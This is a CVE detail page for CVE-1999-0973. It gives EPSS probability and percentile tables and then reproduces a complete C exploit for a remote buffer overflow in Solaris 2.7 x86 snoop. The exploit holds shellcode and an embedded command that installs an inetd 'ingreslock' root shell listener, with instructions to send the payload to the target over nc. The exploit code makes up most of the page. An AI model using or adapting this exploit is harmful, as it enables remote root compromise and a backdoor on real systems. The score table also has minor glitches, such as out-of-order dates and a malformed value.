CVE-1999-0973 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	1.01%	–
2023-04-16	–	–	–	1.01%	–
2024-02-11	–	–	–	1.91%	–
2024-06-02	–	–	–	1.91%	–
2024-12-22	–	–	–	1.91%	–
2025-03-02	–	–	–	1.91%	–
2025-01-19	–	–	–	1.91%	–
2025-03-09	–	–	–	1.91%	–
2025-03-18	–	–	–	–	3.14%
2025-03-18	–	–	–	–	3.14,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	81%
2023-04-16	82%
2024-02-11	88%
2024-06-02	89%
2024-12-22	88%
2025-03-02	89%
2025-01-19	88%
2025-03-09	89%
2025-03-18	86%
2025-03-18	86%

// source: https://www.securityfocus.com/bid/858/info If a solaris machine is running snoop in verbose mode, it may be possible to compromise its security remotely by exploiting a buffer overflow in snoop. The problem is a buffer with a predefined length of 1024 that can be overflowed in the print_domain_name function. The priviliges granted to arbitrary code which could be executed would be those of the user running snoop, root. /* by: K2, version .2 this is a funny Solaris. remote Solaris 2.7 x86 snoop exploit rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW run with ( ./snp ) | nc -u target_host_network 53 requires target host to be running "snoop" verified with patch 108483-01 thx str/horizon for shellcodes. Hi plageuz Hi mom. */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char shell[] = "\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89" "\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D" "\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89" "\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51" "\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF" "\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39" "\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73" "\x68\x28\x2D\x63\x29 echo w00w00;echo \"ingreslock" "stream tcp nowait root /bin/sh sh -i\" >>/tmp/w0;" "/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0"; #define SIZE 2048 #define NOPDEF 349 #define DEFOFF 0 const char x86_nop=0x90; long nop=NOPDEF,esp=0x804646c; long offset=DEFOFF; char buffer[SIZE]; int main (int argc, char *argv[]) { int i; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtoul(argv[2], NULL, 0); memset(buffer, x86_nop, SIZE); memcpy(buffer+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < SIZE-4; i += 4) { *((int *) &buffer[i]) = esp+offset; } fprintf(stderr,"0x%x\n",esp+offset); printf("%s", buffer); return 0; }